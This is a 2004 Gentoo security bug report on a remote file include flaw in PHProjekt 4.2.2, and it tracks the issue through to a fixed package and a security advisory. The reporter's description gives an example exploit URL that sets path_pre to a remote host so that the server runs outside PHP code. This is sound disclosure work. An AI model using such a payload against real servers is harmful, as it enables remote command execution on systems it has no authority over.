Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 75858 - www-apps/phprojekt 4.2.2 Remote File Include Vulnerability
Summary: www-apps/phprojekt 4.2.2 Remote File Include Vulnerability
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High major (vote)
Assignee: Gentoo Security
URL: http://www.phprojekt.com/modules.php?...
Whiteboard: B1 [glsa]
Keywords:
Depends on:
Blocks:
 
Reported: 2004-12-27 17:05 UTC by Phil C.
Modified: 2004-12-30 06:34 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Phil C. 2004-12-27 17:05:40 UTC
The script authform.inc.php does not properly validate user input allowing a remote user to define the global variable $path_pre to cause the script to execute arbitrary PHP code from a remote server. This allows a remote user to execute operating system commands with the privileges of the target web server.

Example Exploit: http://%s/%s/lib/authform.inc.php?path_pre=ht tp://%s/

Reproducible: Sometimes
Steps to Reproduce:
1. Browsing to: http://%s/%s/lib/authform.inc.php?path_pre=http://%s/
2.
3.

Actual Results:  
The target server execute PHP code from the remote server.

Expected Results:  
Not include remote PHP code by properly validating user supplied input

Website: http://www.phprojekt.com/
Affected: PHProjekt
Version: 4.2.2
Vulnerable file: authform.inc.php
Discovered date: 2004-12-10
Disclosed date: 2004-12-27
Vendor notified: Yes
Disclosed by: Phil C. (phil.c@cytechnet.com)

Summary:
The script authform.inc.php does not properly validate user input allowing a
remote user to define the global variable $path_pre to cause the script to
execute arbitrary PHP code from a remote server. This allows a remote user to
execute operating system commands with the privileges of the target web server.

Vendor Status: Fixed
Current Version: 4.2.3
Patch: http://www.phprojekt.com/files/4.2/lib.zip
Comment 1 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2004-12-28 00:00:12 UTC
web-apps please provide an updated ebuild.
Comment 2 Stuart Herbert (RETIRED) gentoo-dev 2004-12-29 03:44:51 UTC
I'm looking at this now.

Best regards,
Stu
Comment 3 Stuart Herbert (RETIRED) gentoo-dev 2004-12-29 05:01:48 UTC
Fix committed, and marked stable on x86 and ppc.

Best regards,
Stu
Comment 4 Thierry Carrez (RETIRED) gentoo-dev 2004-12-30 06:34:01 UTC
GLSA 200412-27